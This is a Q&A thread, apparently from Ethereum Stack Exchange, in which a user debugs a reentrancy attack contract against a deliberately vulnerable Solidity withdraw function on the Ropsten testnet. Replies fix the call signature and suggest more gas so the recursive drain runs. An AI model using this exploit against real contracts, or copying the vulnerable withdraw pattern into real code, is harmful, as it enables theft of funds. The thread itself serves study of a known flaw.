2

Trying to simulate the attack.

In my attack contract:

  function attack() public {
    target.call(bytes4(keccak256("withdraw()")),amount);
  }


  function() payable public {
    if (msg.sender == target) {
        attack();
        }
  }

Target vulnerable contract:

function withdraw(uint256 _value) payable returns (bool success) {
        if (balances[msg.sender] < _value) return false;
        msg.sender.call.value(_value)();
        balances[msg.sender] -= _value;
        total -= _value;
        return true;
    }

When I call the first attack function, the transaction gets an error in it.

How do I debug this?

I see a Revert in the stacktrace.

I did verify there is a balance for the smart contract equal to the amount I'm attempting to withdraw ( 100000000000000 )

enter image description here

https://ropsten.etherscan.io/tx/0xdf3821e85520549684c121e0786bad1a6b26de00c7a2c659a042d634196a7bba

Although one or more errors occured [Reverted] contract execution completed

1
  • Pass higher gas as for recursive call, the gas will be used.
    – Ganeshdip
    Jul 30, 2018 at 3:48

1 Answer 1

2

In your code, the line:

target.call(bytes4(keccak256("withdraw()")),amount);

Should be:

target.call(bytes4(keccak256("withdraw(uint256)")),amount);

Hope this helps you.

1
  • Ah, so specify types inside the parens and values outside. Thank you.
    – user22075
    Aug 2, 2018 at 0:13

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy